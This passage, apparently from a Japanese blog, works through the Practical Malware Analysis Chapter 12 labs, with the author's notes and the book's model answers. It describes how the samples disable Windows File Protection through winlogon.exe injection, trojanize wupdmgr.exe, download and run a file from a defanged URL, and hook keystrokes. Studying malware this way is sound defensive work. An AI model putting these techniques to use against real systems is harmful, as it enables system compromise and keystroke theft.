.text:0040111E FF 15 00 20 40 00       call    ds:WinExec

6. What is the purpose of this and the dropped malware?

Lab12-04.exe

  • システム関連ファイルを悪意のあるファイルに置き換える
  • そのための準備として、まずWFPを無効化する
  • 具体的にはSeDebugPrivilege権限を取得してwinlogon.exeにsfc_os.dllのSfcTerminateWatcherThreadをロードさせる
  • WFPを無効化した後、既存のC:\windows\system32\wupdmgr.exeというシステムファイルをwinup.exeに改名して一時ディレクトリに移動させる
  • 続いてリソースセクションから101という名前のリソースを抽出する。101には32ビットのEXEファイル (MD5ハッシュ値: 6A95C2F88E0C09A91D69FFB98BC6FCE8) が埋め込まれている。抽出されたEXEファイルはC:\windows\system32\wupdmgr.exeとして保存される
  • 作成したwupdmgr.exeを実行する

wupdmgr.exe

  • 一時ディレクトリに保存されているwinup.exeを実行する
  • URL http://www.practicalmalwareanalysis[.]com/updater.exeからファイルをダウンロードしてC:\windows\system32\wupdmgrd.exeとして保存する
  • 保存したC:\windows\system32\wupdmgrd.exeを実行する

模範解答

Lab 12-1

1. After you run the malware, pop-up messages are displayed on the screen every minute.

2. The process being injected is explorer.exe.

3. You can restart the explorer.exe process.

4. The malware performs DLL injection to launch Lab12-01.dll within explorer.exe. Once Lab12-01.dll is injected, it displays a message box on the screen every minute with a counter that shows how many minutes have elapsed.

Lab 12-2

1. The purpose of this program is to covertly launch another program.

2. The program uses process replacement to hide execution.

3. The malicious payload is stored in the program's resource section. The resource has type UNICODE and the name LOCALIZATION.

4. The malicious payload stored in the program's resource section is XOR-encoded. This decode routine can be found at sub_40132C. The XOR byte is found at 0x0040141B.

5. The strings are XOR-encoded using the function at sub_401000.

Lab 12-3

1. The program is a keylogger.

2. The program uses hook injection to steal keystrokes.

3. The program creates the file practicalmalwareanalysis.log to store the keystrokes.

Lab 12-4

1. The malware checks to see if a given PID is winlogon.exe.

2. Winlogon.exe is the process injected.

3. The DLL sfc_os.dll will be used to disable Windows File Protection.

4. The fourth argument passed to CreateRemoteThread is a function pointer to an unnamed ordinal 2 (SfcTerminateWatcherThread) of sfc_os.dll.

5. The malware drops a binary from its resource section and overwrites the old Windows Update binary (wupdmgr.exe) with it. Before overwriting the real wupdmgr.exe, the malware copies it to the %TEMP% directory for later usage.

6. The malware injects a remote thread into winlogon.exe and calls a function exported by sfc_os.dll, ordinal 2 (SfcTerminateWatcherThread), to disable Windows File Protection until the next reboot. The CreateRemoteThread call is necessary because this function must be executed inside the winlogon.exe process. The malware trojanizes wupdmgr.exe by using that executable to update its own malware and call the original Windows Update binary, which was saved to the %TEMP% directory.

答え合わせ

Lab 12-2

問5は、リソースセクションの暗号化ルーチンについての質問だった模様。問4で解答したとおり、0x41でXORされている。

Lab 12-3

問4は、Lab12-02.exeは、どうやって打鍵情報を窃取しているのか尋ねていた模様。SetWindowsHookExAによって打鍵情報をフックしていた。

Leave a Reply

Your email address will not be published. Required fields are marked *